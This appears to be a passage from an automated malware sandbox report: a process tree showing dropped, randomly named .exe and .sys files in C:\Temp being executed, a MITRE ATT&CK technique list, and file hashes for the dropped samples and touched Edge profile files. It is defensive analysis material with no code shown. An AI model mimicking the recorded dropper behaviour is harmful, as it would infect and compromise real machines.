  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=6936,i,6329810839961843457,8174470335908092714,524288 --field-trial-handle=2304,i,4945026103468162489,7093506692703565263,262144 --variations-seed-version --mojo-platform-channel-handle=6968 /prefetch:14
      4⤵
      PID:2008
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --subproc-heap-profiling --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=4736,i,5125639622847252806,414707139359682170,262144 --field-trial-handle=2304,i,4945026103468162489,7093506692703565263,262144 --variations-seed-version --mojo-platform-channel-handle=3724 /prefetch:10
      4⤵
      PID:6132
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=5732,i,10211457576172115286,7348436316956177796,524288 --field-trial-handle=2304,i,4945026103468162489,7093506692703565263,262144 --variations-seed-version --mojo-platform-channel-handle=5812 /prefetch:14
      4⤵
      PID:5232

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2316

C:\Temp\hbztrmjetoljgbyw.sys
C:\Temp\hbztrmjetoljgbyw.sys
1⤵
- Executes dropped EXE
PID:5456

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:124

C:\Temp\gdbvtoljdb.sys
C:\Temp\gdbvtoljdb.sys
1⤵
- Executes dropped EXE
PID:5720

C:\Temp\qoigdyvqnl.sys
C:\Temp\qoigdyvqnl.sys
1⤵
- Executes dropped EXE
PID:3372

C:\Temp\tnligavsnl.sys
C:\Temp\tnligavsnl.sys
1⤵
- Executes dropped EXE
PID:2316

C:\Temp\nkfdxnhfdx.sys
C:\Temp\nkfdxnhfdx.sys
1⤵
- Executes dropped EXE
PID:5800

C:\Temp\hfdxvpnhfz.sys
C:\Temp\hfdxvpnhfz.sys
1⤵
- Executes dropped EXE
PID:3932

C:\Temp\wupnhfzxrp.sys
C:\Temp\wupnhfzxrp.sys
1⤵
- Executes dropped EXE
PID:2896

C:\Temp\omjebzxrpj.sys
C:\Temp\omjebzxrpj.sys
1⤵
- Executes dropped EXE
PID:4868

C:\Temp\wuomgezwjh.sys
C:\Temp\wuomgezwjh.sys
1⤵
- Executes dropped EXE
PID:4092

C:\Temp\mgeywqomge.sys
C:\Temp\mgeywqomge.sys
1⤵
- Executes dropped EXE
PID:4824

C:\Temp\geywqoigby.sys
C:\Temp\geywqoigby.sys
1⤵
- Executes dropped EXE
PID:4704

C:\Temp\nlfdxvqnlf.sys
C:\Temp\nlfdxvqnlf.sys
1⤵
PID:1252

C:\Temp\xvpnifaxvq.sys
C:\Temp\xvpnifaxvq.sys
1⤵
PID:5516

C:\Temp\ausnkicaxv.sys
C:\Temp\ausnkicaxv.sys
1⤵
PID:4392

C:\Temp\czxrpkhcau.sys
C:\Temp\czxrpkhcau.sys
1⤵
PID:3752

C:\Temp\czurmkecwu.sys
C:\Temp\czurmkecwu.sys
1⤵
PID:5140

C:\Temp\urmjztrmjh.sys
C:\Temp\urmjztrmjh.sys
1⤵
PID:2684

C:\Temp\ljdbwtrlje.sys
C:\Temp\ljdbwtrlje.sys
1⤵
PID:4268

C:\Temp\jdbvtqojgb.sys
C:\Temp\jdbvtqojgb.sys
1⤵
PID:1836

C:\Temp\ayvqolgdyw.sys
C:\Temp\ayvqolgdyw.sys
1⤵
PID:4704

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

fcxvpnifax.exe

Path C:\Temp\fcxvpnifax.exe
Size 361KB
SHA256 7d9ecf6f732f36086cd8339e1175a4f2b03e1ec5c49f0709ccdd284ccb27d045
MD5 ed8d35490a826e5c08d29b9c1e01cee5
SHA1 20b8c960c3726e3ed059838ebe802984549a4da1
SHA512 6a37d61afd5d93e6dd897e579268bc3dfc609a42d5d57515afe1176c1b997fc13049273971365be2c99467df80d61153bc6c8bbceb5f42f6760e46e091dba80e
SSDEEP 6144:mflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:mflfAsiVGjSGecvX
TLSH
T1C8747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fczxspfzxs.exe

Path C:\Temp\fczxspfzxs.exe
Size 361KB
SHA256 d23d8b581cbe4984385e0daea0439bccb952582b8503fcdefb2539862316ca68
MD5 e97e7adcd241692c18e28044dc5daa3f
SHA1 1bf1624b57814d6e822d6ab406bc267dffb6d8d9
SHA512 1b872b22eeb5c09e507f73ef5a9a32bc899c408e34adbaf3640d13ce4495464d1203628b9eb5df5e0452f539966f95eefee2ff21cc7b2def12638d48e50c1ba0
SSDEEP 6144:lflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:lflfAsiVGjSGecvX
TLSH
T121747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gdbvtoljdb.sys

Path C:\Temp\gdbvtoljdb.sys
Size 293KB
SHA256 397df94722b31b8cd6903045ee95138901cc0a570a44d381d8df98d17baa755a
MD5 5eba5e9668ad80ea54fa5deef1ef63d6
SHA1 5d5e0520faee849abc24f789e5d1e39825c227c8
SHA512 6f628e46a1d00b25b78548e8d398a1231ff0a39dd6010e4f5f44cc2c03d13855b16ba720a45729477828e79ed24aa53b4618fbd322fe20454b6df907544ee353
SSDEEP 3072:itKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:iIJjiJcbI03GBc3ucY5DCSj
TLSH
T18C545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

geywigbytn.exe

Path C:\Temp\geywigbytn.exe
Size 361KB
SHA256 7234b1d9bec35ea4e4ca7989abf4536335aa7be92abc38e8303678fdde6ef523
MD5 9acb4b6a578d5edd1031b6e1313c6a98
SHA1 78664b83ca41af3758024ba6b47fd7e3db17b849
SHA512 4b3bc4025f66ff0d05e82cca6c87552053958e5f513e060c4e9bc74554eb63a1232e7dca79c5c2c3d535d6377ad4106aec113f7181a023fef6925372ee5fac6f
SSDEEP 6144:DflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:DflfAsiVGjSGecvX
TLSH
T100747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

geywqojgeb.exe

Path C:\Temp\geywqojgeb.exe
Size 361KB
SHA256 944fc5cf92ae54850f44a3f61dff2664d14918374780250468784523f0b6435e
MD5 5005fb1e37d074417913a890ce1a5f9f
SHA1 c36b9efa41718c81629e96f72987dc74973dcec8
SHA512 f86e990d25fef9269d7a75eaa934457d0c7ca74ec23e0886b065d4b11cbe0b0dfe1ec90519d3e76b9f3c6917cef47a29c58b524b652ab3c7a9cdbdd8fe1a83e4
SSDEEP 6144:WfflfAsiL4lIJjiJcbI03GBc3ucY5DCSjXv:WfflfAsiVGjSGecvXv
TLSH
T10B747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hbztrmjetoljgbyw.exe

Path C:\Temp\hbztrmjetoljgbyw.exe
Size 361KB
SHA256 a7d3ee782a05988e75ef62cea301ee7c1bb3df5f5def026b4813aeb0976d5bed
MD5 d248bfb344e4de347928ab0c60a2fcc1
SHA1 ae48618c25a7ed72663feee139513baff23cfb73
SHA512 228784eeea33d458c2d68c97f6f99dc480d0594af857828626f97a7768e21316e915af4d8b811035e87270b1be6537bd7112f5be67c024fe87dcf27deeeba9ff
SSDEEP 6144:DflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:DflfAsiVGjSGecvX
TLSH
T17C747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hbztrmjetoljgbyw.sys

Path C:\Temp\hbztrmjetoljgbyw.sys
Size 293KB
SHA256 164cf6cccdf011a0d768b3664ab5cfc593413d4bab4dccc067e92b2ea7cfd9f3
MD5 e9fbb7fb216e27b2a68967671607a069
SHA1 302bb95988a3f333b888d5e20e8f621efef5470d
SHA512 e4307281aa9429e9b21d30923bb3e627efd302acf1d8c2ac090ba05047649716c6188f45a073433292b36c0a33d3a6e86daf5a47babd4ccedecea9743525eb35
SSDEEP 3072:etKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:eIJjiJcbI03GBc3ucY5DCSj
TLSH
T110545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hfdxvpnhfz.sys

Path C:\Temp\hfdxvpnhfz.sys
Size 293KB
SHA256 3cdd7c2dc73536d945d76e5b960390679b0effee1b5b8f68da5d338096b43393
MD5 33f0d71d4786d6375f80523098aeb41b
SHA1 991faf6d2c338a75d748efd15488bf1997b0fe83
SHA512 332492e84811d2c028a33093bce414f7a0c32665d51af7c310795cfb2867e331b171479faff176ee0e05dd9a629b506b963841b1650dba4a046a990a496844d9
SSDEEP 3072:QtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:QIJjiJcbI03GBc3ucY5DCSj
TLSH
T1F5545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_fcxvpnifax.exe

Path C:\Temp\i_fcxvpnifax.exe
Size 361KB
SHA256 002373a7568c9edf0ddfd928606f32103552578fe184c5ab1cf2de4bbabec39c
MD5 daf697d66bbf0dc2ff62105212d300fd
SHA1 9e5f1f200e4cd5438ab8e66b19e163b7903380d0
SHA512 9bb3fc1f3a41e88535e0a0c2253955a176d9105b0cd203ab551ecbead8564052e3b406e569bdb643e4eb1d156ca1eb4a9773ac25f7a456a1dd4f66acf79b4c02
SSDEEP 6144:rflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:rflfAsiVGjSGecvX
TLSH
T1DD747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_geywigbytn.exe

Path C:\Temp\i_geywigbytn.exe
Size 361KB
SHA256 52879d12a8d44875311a6da71b770b7a89e61661f0ba2130cb984fffdcc97c3d
MD5 6e9cc76da24a4179e26caf940efe018c
SHA1 49d27822746b946aa531d014fdf4a46c3ad2bf7f
SHA512 53483658519af0e3a93e741565df362a8c5e0a7e4b8a0636e92a117898bb3935d0c72ba71f1fe452694a9127632d2eef113a94f90fde7c35e446e5f488f1e026
SSDEEP 6144:+flfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:+flfAsiVGjSGecvX
TLSH
T1B1747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_geywqojgeb.exe

Path C:\Temp\i_geywqojgeb.exe
Size 361KB
SHA256 1340fe0c6ab2798d85f3a6d618450aa90f78de63032f747ebd1ec085b65e4671
MD5 3104fd36f6ee8af1b2ce5902271ee0e6
SHA1 6074cf3785d5118924f1209ad4238457d524f029
SHA512 ef2be46d46f1f0edea9539d49e0bdeef00c1a7f0c46dadf102d6d2ca0dcc2ddceb3cb5c003a6f5dc1042c8b6f0a32ad7f40508185019bfa26de1ce98d2a81d6a
SSDEEP 6144:TflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:TflfAsiVGjSGecvX
TLSH
T12C747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_snlfdxvpni.exe

Path C:\Temp\i_snlfdxvpni.exe
Size 361KB
SHA256 9d8b5aaed37e745d8cca4721dd6ced3dc791c7bc1b85fdf4329cc0438d35a092
MD5 0f1e3ecc76e70f384601c951ca649a25
SHA1 a0cf7499a58e64a71719546b27bbe5f72c83a2f5
SHA512 8a4e77e142f3aec9ddfbad85a5fcbaf619184f318c43467a5dba78aaad52b45afc4054509fc84efbc99607aaec6201c863c4a4704198de6ce04afaef3b013387
SSDEEP 6144:fflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:fflfAsiVGjSGecvX
TLSH
T13C747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_tnlfdyvqoi.exe

Path C:\Temp\i_tnlfdyvqoi.exe
Size 361KB
SHA256 cbd4caf03548d3929e6e8aae4304d5c1f417b3142863079fe6099eb3fbddfc7b
MD5 b8a105ef558d1aa7684bbe8d86d7c92b
SHA1 962d050277981060643f4045d0655cf4fa3d0f8f
SHA512 fbd0d5db26326ecd82ccb7bfee510ac0e5436918daa4380e886780725adb6ad2fb907a14108ee2a79d88b6ad4c7bd89ec5b6d10559fdf39b61a09b4c01091ad4
SSDEEP 6144:PflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:PflfAsiVGjSGecvX
TLSH
T15C747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nkfdxnhfdx.sys

Path C:\Temp\nkfdxnhfdx.sys
Size 293KB
SHA256 658dd1812a269ad4dfb2b943f97cc635356b2289971d345374e3820801cd9a0f
MD5 2cbed48cd0e8cdfe5cb7387492bbef8c
SHA1 3f266a7e8eb37532ddeac920508f379d4adea751
SHA512 74bd9357391ee5c0baa1e97fe07e4892f710b44ff191faab1d54888595da9184bed9ca4a704047e4081b28a951c85b25a39759bfc1c4694b73aa8ea5c90be60b
SSDEEP 3072:BtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:BIJjiJcbI03GBc3ucY5DCSj
TLSH
T142545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qoigdyvqnl.sys

Path C:\Temp\qoigdyvqnl.sys
Size 293KB
SHA256 81973f9710ebb01000970c6febead6359be428a559e8af92136410c4da90fdda
MD5 694a2656b281d12e350791f7c1ae33e1
SHA1 7da53a030320d1763d0c616c0064307a62452db8
SHA512 994821949681abba64f1c9564f5f8c3ecdec377f36128455409791027d1356742143e10cb1cb99aa8cd4c038690449becc2e4d29b089ec278f384e59677aac3e
SSDEEP 3072:OtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:OIJjiJcbI03GBc3ucY5DCSj
TLSH
T102545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

snlfdxvpni.exe

Path C:\Temp\snlfdxvpni.exe
Size 361KB
SHA256 0af5c16045619b19abd070e4eccedfca205b404f77589f984363b2d86eec5ebb
MD5 a057fd9653ccd6729a5dffd51f710857
SHA1 687506a875f57b61b0c724137d3e40a612bf61c0
SHA512 faf1fa23229d0e7a6e5fd4b5857d5daf9915e523b21dfd690fb750e5d0b746957973b570bc7f93a2d56ee6e1d2d78f65b65d972ac2fc8be05253716f0584ab0a
SSDEEP 6144:6flfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:6flfAsiVGjSGecvX
TLSH
T199747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tnlfdyvqoi.exe

Path C:\Temp\tnlfdyvqoi.exe
Size 361KB
SHA256 66c0e99181e6ab3097cb55a43eb2a77db2b9919ac186b3500b639adeee743313
MD5 501720aafc8e7ba63575120a353bede3
SHA1 7ad6bb977b1a482dc001f6cbb53984076c55a49b
SHA512 4a946cb87cb4a55e60dd1a5736a8b008549c30b1ca896f47e26277523a0e3a640cf035d6e0db185613e1e5cfee0413c5209611fbe15611f0ab3429880a863804
SSDEEP 6144:HflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:HflfAsiVGjSGecvX
TLSH
T1BA747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tnligavsnl.sys

Path C:\Temp\tnligavsnl.sys
Size 293KB
SHA256 0fe0e1cbba0a482de977d3ec269621da14163f1be043a6150fee24a1232dcd08
MD5 97eb7220817fa1771435cc2c40f75dd2
SHA1 5bc29ff3c2d98660ea283a2296ba9f945ba87e62
SHA512 d397dff48552f78e5514ec40b26936d69f14338891cf25cf561c92346cab526210aa310a1a5d097f76381174af940454f2fe680806e0759a65ce478a27fd7d4f
SSDEEP 3072:etKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:eIJjiJcbI03GBc3ucY5DCSj
TLSH
T1C3545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e0217c0f2953c25b5ecacbfc82728d57c809cf5450e9203a48d2faaff8836c2b
MD5 04b3b3f543557524e135a08dac44efda
SHA1 4f856c66c17971828ff8fd245186ea6b1b303bc7
SHA512 a11f6ce9f676e6157f7d9b86de7e7c3f0b7758052de5b00121c54342e363951818cf7787ed1baf39e636241455a76f6b90dc0405f5eaf0361a7c1056c3560c1a
TLSH
T1F5D02B71EFBB6C03D184207C100182C01620FC40BF6902C4170001A4042C5444313205
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 6ff73de37e74e04bc32af0dd2dd926bcd2d6c623deb8eb066c65071254002178
MD5 a569aede49695d8fc8b039ab7024fd75
SHA1 de14644ea578b78d3cd08753552602517297fd30
SHA512 b87c4dc8e3e3be51d402a4d2d6166ca389ae05ea059903425483e2dcc38b0f2394d29a7a81921700d62e2a403e94a7b3e6c02c186966742a945996df580c0065
TLSH
T18FD02B71EFBB6C03D184207C100282C01610FC406B6902C4170041B4042C5444313201
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 860e5d05fda3aa0f80d929c1fc6ed9640d2a242b47e8fea48f444a1c8ed8e2d7
MD5 71a9dce532ab973d0937d5bd4dce406f
SHA1 40e31d193bcc4c914d06a5c228f2bbb00f25a163
SHA512 a524f7122d71aed416e8062f102dab9f2650d6b5d1b05509ef074b5fae8660af1f6942b0ec95f85998059f895492df5f8a82f2130004abf673c4bfe84ddd3008
TLSH
T15661D7846B07E070EB5D183183D1909FFA798DB520831F22066DD4773FCA36AC0CA43A
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59a791.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe59a791.TMP
Size 3KB
SHA256 20bcf9bbb593a204aa4e07cafc5b44bbb104ba96ceccc34acd6c1eedff168dff
MD5 8351a76e8040bcebf40ea34e3947c705
SHA1 732686ce04bb001a02c6fd73d68addb504471f17
SHA512 04ae7288ab209733c8faf9df7c5ac67376cb9fce472e358be47a2b0fa69d07f7ae43aa13ca57cdd367391b238ee36eb5a76b2684f0219f636040ba4c053218dc
TLSH
T19C61F9816B07E070EB5C183183E1909FFA388DB521831F22066DC4773FCA36AC0CA07A
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 46f56bbe6bdcb88ef7824d0ad9fe7ed7e711d671b3198d1c3c777c8e60a6f576
MD5 6db81a2b37ef6592ce4c55939cea08d7
SHA1 f4c0899d556ef983ea424bbbc6e10912cf0843e5
SHA512 47d336031c9cdfb8748fe0c97948b5456d51576ac22bad667826151e84ee7be20392d9b7fa61a959b0312d703de596186369af31fd2028ab223a9c827957cfb9
TLSH
T172519EF7C2E9C66D8A0196F0AA187E2BCE1D0914432C7D5AC8E49E1B93E2471E14195F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 d0af741cd9bda339c892fb80b14bb6191d8e7d48b5108f24813d4db249b47555
MD5 f3f9c4010021a7892ee51842be59f6fc
SHA1 a6912c4c45d1593ef38508da61accb3ad0771316
SHA512 3429351a2d217fad03fcbb9bfc5678e81ab994c4e516798ddba02caf0abd90a192335d2e1483f972e3203fe798a63d9259bf7b88b2bc6edc05fdbe7e02eeaad4
SSDEEP 192:sxRXRiCd/fzsFwaZzPQzoA8p9V/g6+WNCC//YFMGGzh1IgDbGJ:sxRXHd/fzsFwMzhH/5X/bhZa
TLSH
T1B842A659AD68A97B4CC7D31DBB59BF53E2F91032A1D11E48E6FC8A1C04E66DD220780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 1afe35be512cf8e7b28ba4c465328e4231ed22af2d437e92622902aefa74ffa3
MD5 f9458cc9520c726262179a1d629abecc
SHA1 f0cfcc1c4d948bd1bb5d393032f97a4546634b4a
SHA512 765f54ad3ba440e0593ad339994027049defe691eb3fba1ee4396cfcdc782018c654d6792403f42111f0002b520a73baaa60eb58e1e3dd7cc40735ef49c29fba
SSDEEP 192:sxRXRiCd/fzsFMaZzPQzoA8p9V/g6+WNCC//YF0GGzh1IgDpGJ:sxRXHd/fzsFMMzhH/5X/3hZo
TLSH
T10442A659AD28AD7B8CC7D31DBB55BF53E2F91032A1911E48A6FCCA1C14E66DD220780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 2e902dc66a9d7cebd4d4bfa0bf99e01efefaed6fa81d151b98ee142661255f38
MD5 d5b7235ff9927b636fbabe628ab05936
SHA1 3e5689056d75b3341927ce31725ebb2e7357858b
SHA512 9ec835b0f41f29d056cff87e9e8ad7915e93aadedce66b5b3fcb7a5f825048ef777f4b6931c969169a702fdc05b8fdde449e46376beb279f5b0983472ce53bb0
SSDEEP 768:+l2Puq7pLuLbDKWgwef4e8F1+UoAYDCx9Tuqh0VfUC9xbog/OVIHI0a07ro+P5:+l2PuCEbDKWgwef4eu1jazHIh0I+5
TLSH
T134D2E97B640CCB7F4F904ADDEC297A9F6DA802CB9698C94047FA841D03C67EB52164DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 32831cf48b4d372063d3d0f4a92c6dc6f2b5bb333265cb8b41baad899e721753
MD5 f9ff6d56898266f1d2795be534c6a83b
SHA1 62755a780a9bd5a45ded5a4f02cf5785896f8e3e
SHA512 814fbb1daa172d3f61815e65978f7ad555195490c7d0060dfc8dedfeb2314adfae4a8cd489c288fbb4a4f933b9bea25902d423bf5dd320357727b9928b991925
SSDEEP 24:KB/UTYnI3KLhG1ySK1LyXR+RWksI5Kqhg1ySrI8EosHhBe+1lCvt6txIUbCKZBh+:K0cI3KNGc3ydbI5KcgkYAI7KRCcnyRz
TLSH
T12191132130360641387D664C85B6971E868176A3323DEA2F3FBE44558E37E098EFD9DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b020e4e2-542c-48b4-91fe-9a7e2a4cb1e0.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\b020e4e2-542c-48b4-91fe-9a7e2a4cb1e0.tmp
Size 11KB
SHA256 554ce4ad637996322fa474411df722ae65ec28194470c2d34240bb5e68d4bed8
MD5 c2e39b1aaea016c5d7f6f235df535823
SHA1 944deea6c4e8d17004849c4343a14383c0a6aa86
SHA512 cabafab17096c5f26bda5f54f4eb179ae64b5b5dd7b94d2978e0ef776b6a2608f2f3a0064c3186755771ac330db8b03e1dfe2e1e6645f2e87e3425c94ac3470b
SSDEEP 192:sxRkRiCd/fzstwaZzPQzoA8p9V/g6+WNCC//YFMGGzh1IgVGJ:sxRkHd/fzstwMzhH/5X/bhZg
TLSH
T1FD32A759AD28A97B8CC7D31DBB697F53D2F91032A1D51E48E6FC8A1C04E66DD120780F
